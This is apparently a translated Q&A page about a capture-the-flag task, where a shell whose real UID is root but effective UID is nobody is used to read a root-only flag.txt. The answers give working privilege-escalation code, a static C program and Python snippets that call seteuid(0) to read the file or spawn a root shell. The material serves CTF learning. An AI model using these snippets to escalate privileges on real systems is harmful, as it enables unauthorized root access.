![UID — root, но whoami говорит, что никто](https://rvso.com/image/1618348/UID%20%E2%80%94%20root%2C%20%D0%BD%D0%BE%20whoami%20%D0%B3%D0%BE%D0%B2%D0%BE%D1%80%D0%B8%D1%82%2C%20%D1%87%D1%82%D0%BE%20%D0%BD%D0%B8%D0%BA%D1%82%D0%BE.png)
Я участвую в конкурсе по захвату флага, где мне нужно реализовать некоторую форму повышения привилегий для чтения файла flag.txt
. Я заметил, что при запуске whoami
я получаю следующий результат:
myHostHere:/$ whoami
nobody
Но когда я запускаю, id
мой UID устанавливается на root
:
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
Означает ли это, что я могу действовать как пользователь root и т. д., или я неправильно интерпретирую вывод?
Редактировать:
Вывод ls -l flag.txt
следующий:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
решение1
Эту проблему можно решить, написав и скомпилировав (с помощью --static
) программу на языке C, например, на отдельной машине:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
Этот файл можно скопировать на машину CTF, дать ему разрешение на выполнение chmod +x
и запустить из tmp
папки.
решение2
Я создал установку, очень похожую на вашу. Я сделал это с помощью отладчика (примеры:здесьитам). В затронутой оболочке у меня есть:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
Тогда, по словамэтот ответ:
Доступ к файлам и операции, требующие привилегий root, учитывают эффективные UID и GID.
На самом деле, вот что происходит:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
Но я могу сделать это:
$ sudo cat flag.txt
foo
Или это:
$ su -
# whoami
root
# cat flag.txt
foo
Или это:
$ sg root 'cat flag.txt'
foo
Когда у вас есть uid=0
, вам может помочь все, что может использовать seteuid
системный вызов, а затем прочитать файл. Например python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
Вместо (или помимо) чтения файла вы можете создать оболочку с повышенными правами:
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
В этой оболочке вы root
; cat flag.txt
будете работать.
Тестовый стенд: Debian GNU/Linux 9.